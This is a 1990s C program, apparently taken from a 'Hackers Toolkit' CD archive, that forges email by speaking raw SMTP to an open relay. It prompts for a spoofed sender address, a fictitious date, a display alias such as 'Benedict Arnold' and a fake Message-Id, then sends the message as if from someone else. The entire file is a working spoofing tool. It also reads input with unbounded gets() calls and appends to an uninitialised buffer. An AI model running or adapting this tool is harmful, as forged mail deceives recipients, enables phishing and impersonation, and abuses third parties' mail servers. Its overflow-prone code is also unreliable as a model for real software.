home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / forgery.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  9KB  |  343 lines

  1. ------forgery.h---------
  2.  
  3. /* written by Loki D. Quaeler, would be nicer if it
  4.  was written POSIX compliant - but it was written on
  5.  a NeXT platform (notoriously POSIX shakey) 
  6.  (copyfree 1995) 
  7.  v1.1 (added Message-Id functionality) */
  8.  
  9. /* #define DBUG */
  10.  
  11. #include <stdio.h>
  12. #include <strings.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <unistd.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <netdb.h>
  20. #include <time.h>
  21.  
  22. #define MAILPORT    25
  23. #define    MAXLEN        256
  24. #define SMTP_FROM    "MAIL FROM:"
  25. #define SMTP_TO        "RCPT TO:"
  26. #define SMTP_OPENING    "HELO"
  27. #define SMTP_DATA    "DATA"
  28. #define SMTP_CLOSE    "QUIT"
  29. #define DEFAULTHOST    "cs.bu.edu"
  30. #define BODYTO        "To:"
  31. #define BODYFROM    "From:"
  32. #define SUBJECT        "Subject:"
  33. #define DATE        "Date:"
  34. #define MSGID        "Message-Id:"
  35. #define SMTP_EODATA    "."
  36. #define GOOD_CONNECT_STR  "Sendmail"
  37. #define BAD_NEWS    "500"
  38. #define ALT_GOOD_CONNECT  "SMTP"
  39.  
  40. #define MAX_HOSTLEN    64
  41. #define MAX_ADDRESSLEN    83
  42. #define MAX_SUBJECTLEN  70
  43. #define MAX_DATELEN    30
  44.  
  45. #define null(type) (type) 0L
  46. #define NULL_STRING    ""
  47.  
  48. #ifndef YES
  49. #define YES     1
  50. #define NO    0
  51. #endif
  52.  
  53. int s;                    /* socket number */ 
  54. char buf[BUFSIZ+1];            /* global text data buffer     */
  55. char relayHost[MAX_HOSTLEN];
  56. char posedClient[MAX_ADDRESSLEN];
  57. char recipient[MAX_ADDRESSLEN];
  58. char subjectLine[MAX_SUBJECTLEN];
  59. char messageId[MAX_SUBJECTLEN];
  60. char dateString[MAX_DATELEN];
  61. char fromAlias[25];
  62. char *body;
  63.  
  64. ------forgery.c--------
  65. /* by Loki D. Quaeler - copyfree 1995 */
  66.  
  67. #include "forgery.h"
  68.  
  69. /*~~[ call_socket ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  70.   Connect to port MAILPORT on host 'hostname', returning the socket
  71.   value.  Return -1 on any errors.
  72. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  73. int call_socket(hostname)
  74.   char *hostname;
  75. {
  76.     struct sockaddr_in sa;
  77.     struct hostent *hp;
  78.     int a, sock;
  79.     char realHost[MAX_HOSTLEN];
  80.  
  81.     sprintf(realHost,"%s",( (strcmp(hostname,NULL_STRING)) ? hostname : DEFAULTHOST ));
  82.  
  83. #ifdef DBUG
  84.   printf("Entered call_socket, hostname = %s\n", realHost);
  85. #endif
  86.  
  87.     if ((hp=gethostbyname(realHost))==NULL)
  88.         { errno=ECONNREFUSED;
  89.           return(-1); }
  90.     bzero(&sa, sizeof(sa));
  91.     bcopy(hp->h_addr, (char *)&sa.sin_addr, hp->h_length);
  92.     sa.sin_family = hp->h_addrtype;
  93.     sa.sin_port = htons((u_short)MAILPORT);
  94.  
  95.     if((sock=socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0)
  96.         return(-1);
  97.     if(connect(sock, &sa, sizeof(sa)) < 0)
  98.         { close(sock);
  99.           return(-1); }
  100. #ifdef DBUG
  101.   printf("Exiting call_socket correctly, socket = %d\n", sock);
  102. #endif
  103.     return(sock);
  104. }
  105.  
  106. /*~~~[ readln ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  107.   Read all characters from socket s until a newline.  Put resulting
  108.   string in buf, ignoring all after the BUFSIZ'th character.
  109. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  110. int readln(buf)
  111.   char *buf;
  112. {
  113.     int to=0;
  114.     char c;
  115.     
  116. #ifdef DBUG
  117.   printf("Entering readln\n");
  118. #endif 
  119.  
  120.     do {
  121.         if(read(s, &c, 1)<1) 
  122.             return(0);
  123.         if((c >= ' ') || (c <= 126))
  124.             if(to<BUFSIZ-1) 
  125.                 buf[to++] = c;
  126.     } while (c != '\n');
  127.  
  128.     buf[to] = '\0';
  129.    
  130. #ifdef DBUG
  131.   printf("buf = %s", buf);
  132.   printf("Exiting readln correctly\n");
  133. #endif
  134.  
  135.     return(1);
  136. }
  137.  
  138. /*~~[ writeln ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  139.   Send contents of buf to socket s.  Return 0 if the entire buf 
  140.   wasn't written.  Return 1 on a successful write.
  141. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  142. int writeln(buf)
  143.   char *buf;
  144. {
  145.     int to=0;
  146.  
  147. #ifdef DBUG
  148.   printf("Entered writeln\n");
  149.   printf("buf = %s\n", buf);
  150. #endif
  151.  
  152. /*    buf[BUFSIZ] = '\0'; */
  153.     if( write(s, buf, strlen(buf)) < to )
  154.         return(0);
  155.  
  156. #ifdef DBUG
  157.    printf("Exited writeln correctly.\n");
  158. #endif
  159.  
  160.     return(1);
  161. }
  162.  
  163. /*~~[ main ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  164.   Yes, main.  amazing.
  165. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  166. main()
  167. {
  168.     char inputString[BUFSIZ],outputString[BUFSIZ];
  169.     char *dataBody;
  170.     char primaryHost[MAX_HOSTLEN];
  171.     int n;
  172.     
  173.     printf("\n\nWelcome the mail forgery Process...\n");
  174.     printf("\t-  After all data is entered, a confirmation entry will be\n\t\tasked for before the actual connection is made.\n\n");
  175.     printf("~ Mail will be From (user@address): ");
  176.     gets(posedClient);
  177.     sscanf(posedClient,"%*[^@]@%s",primaryHost);
  178.     printf("~ To (user@address): ");
  179.     gets(recipient);
  180.     printf("~ Subject: ");
  181.     gets(subjectLine);
  182.     printf("~ Enter fictitious date (example format: Wed, 15 Feb 1995 15:51:48) or hit\n   return to use current time and date: ");
  183.     gets(dateString);
  184.     printf("~ You may enter a name to precede the from address in the body text\n   (ie From: Benedict Arnold <satan@hell>) or hit return to use only the\n   address: ");
  185.     gets(fromAlias);
  186.     printf("~ Message-Id (ex: 199502240059.QAA02505@ese.UCSC.EDU): ");
  187.     gets(messageId);
  188.  
  189.     printf("~ Enter the body below, enter ctrl-d on a blank line to end text entry.\n---------\n");
  190.     body = (char *)malloc(2);
  191.     sprintf(body,"\n");
  192.     while (gets(inputString) != NULL)
  193.         { if (! strcmp(inputString, SMTP_EODATA))
  194.             sprintf(inputString,"%s.",SMTP_EODATA);
  195.           body = (char *)realloc(body,((strlen(body) + strlen(inputString) + 2) * sizeof(char)));
  196.           strcat(body,inputString);
  197.           strcat(body,"\n"); }
  198.     clearerr(stdin);
  199.  
  200.     printf("\n---------\n~ The application will attempt to contact the default relay server,\n   %s, you may enter another machine or hit return now: ", DEFAULTHOST);
  201.     gets(relayHost);
  202.  
  203.     printf("\n**This is the last chance to back out.\n\tContinue with the forgery Process (yes/no)? [no]:");
  204.     gets(inputString);
  205.     if (strcmp(inputString,"yes"))
  206.         { printf("Process was aborted.\n");
  207.           exit(0); }
  208.     
  209.     printf("-----\nContinuing...\n");
  210.     
  211.     /* build data body chunk */
  212.  
  213.     printf("  Building data body...\n");
  214.  
  215.     if (! strcmp(dateString,NULL_STRING))
  216.         { time_t dummyT;
  217.           
  218.           dummyT = time(NULL);
  219.           strftime(inputString,BUFSIZ,"Date: %a, %d %b %Y %H:%M:%S\n",localtime(&dummyT)); }
  220.     else
  221.         sprintf(inputString,"%s %s\n",DATE,dateString);
  222.  
  223.     dataBody = (char *)malloc(sizeof(char)*(strlen(inputString) + 1));
  224.     strcat(dataBody,inputString);
  225.  
  226.     if (! strcmp(fromAlias,NULL_STRING))
  227.         sprintf(inputString,"%s %s\n",BODYFROM,posedClient);
  228.     else
  229.         sprintf(inputString,"%s %s <%s>\n",BODYFROM,fromAlias,posedClient);
  230.     
  231.     dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));    
  232.     strcat(dataBody,inputString);
  233.     
  234.     sprintf(inputString,"%s %s\n",SUBJECT,subjectLine);
  235.     dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));    
  236.     strcat(dataBody,inputString);
  237.     
  238.     sprintf(inputString,"%s %s\n",BODYTO,recipient);
  239.     dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));    
  240.     strcat(dataBody,inputString);
  241.     
  242.     sprintf(inputString,"%s <%s>\n",MSGID,messageId);
  243.     dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));    
  244.     strcat(dataBody,inputString);
  245.     
  246.     dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(body) + 1) * sizeof(char));    
  247.     strcat(dataBody,body);
  248.  
  249.     printf(" Attempting to contact mail relay...\n");
  250.     
  251.     if (! contact_relay())
  252.         { printf("  Not able to connect to relay host.. Process halted.\n");
  253.           exit(0); }
  254.     else
  255.         printf("  Relay contacted, connection accepted...\n");
  256.     
  257.         /* speak that protocol slang */
  258.  
  259.     printf("  Exchanging protocol slang...\n");
  260.  
  261.     sprintf(buf,"\n");
  262.     writeln(buf);
  263.  
  264.     readln(outputString);
  265.     
  266.     sprintf(buf,"%s %s\n",SMTP_OPENING,primaryHost);
  267.     writeln(buf);
  268.     
  269.     readln(outputString);   /* don't error check hello - inconsequential, and
  270.                    may throw a 500 if it is smtp friendly due to
  271.                    extraneous socket junk left over from handshake */
  272.  
  273.     sprintf(buf,"%s<%s>\n",SMTP_FROM,posedClient);
  274.     writeln(buf);
  275.     
  276.     readln(outputString);
  277.     if (strstr(outputString,BAD_NEWS))
  278.         printf("\t ~~ Unrecognized command at %s\n", SMTP_FROM);
  279.     
  280.     sprintf(buf,"%s<%s>\n",SMTP_TO,recipient);
  281.     writeln(buf);
  282.     
  283.     readln(outputString);
  284.     if (strstr(outputString,BAD_NEWS))
  285.         printf("\t ~~ Unrecognized command at %s\n", SMTP_TO);
  286.     
  287.     sprintf(buf,"%s\n",SMTP_DATA);
  288.     writeln(buf);
  289.     
  290.     readln(outputString);
  291.     if (strstr(outputString,BAD_NEWS))
  292.         printf("\t ~~ Unrecognized command at %s\n", SMTP_DATA);
  293.  
  294.         /* monitor force feed of body into buf.... */
  295.  
  296.     printf("  Passing the body of mail...\n");
  297.  
  298.     writeln(dataBody);
  299.     
  300.     sprintf(buf,"\n%s\n", SMTP_EODATA);
  301.     writeln(buf);
  302.     
  303.     readln(outputString);
  304.     if (strstr(outputString,BAD_NEWS))
  305.         printf("\t ~~ Unrecognized command at end of data send.\n");
  306.  
  307.     printf("  Closing connection...\n");
  308.     
  309.     sprintf(buf,"%s\n", SMTP_CLOSE);
  310.     writeln(buf);
  311.     
  312.     readln(outputString);
  313.     if (strstr(outputString,BAD_NEWS))
  314.         printf("\t ~~ Unrecognized command at end of data send.\n");
  315.     else
  316.         printf("Received good acknowldegment\n");
  317.  
  318.     close(s);
  319.     
  320.     printf("------\nFinished... copy of sent message follows\n------\n%s\n------\n",dataBody);
  321.     
  322.     exit(0);
  323. }
  324.  
  325. int contact_relay()
  326. {
  327.     char serverSpew[BUFSIZ];
  328.     int i;
  329.  
  330.     if ((s=call_socket(relayHost))==-1)
  331.             return 0;
  332.  
  333.     do {
  334.         readln(serverSpew);
  335.     } while ((! strstr(serverSpew,GOOD_CONNECT_STR)) && (! strstr(serverSpew, ALT_GOOD_CONNECT)));
  336.  
  337.     
  338.     return 1;
  339. }
  340.  
  341.  
  342.  
  343.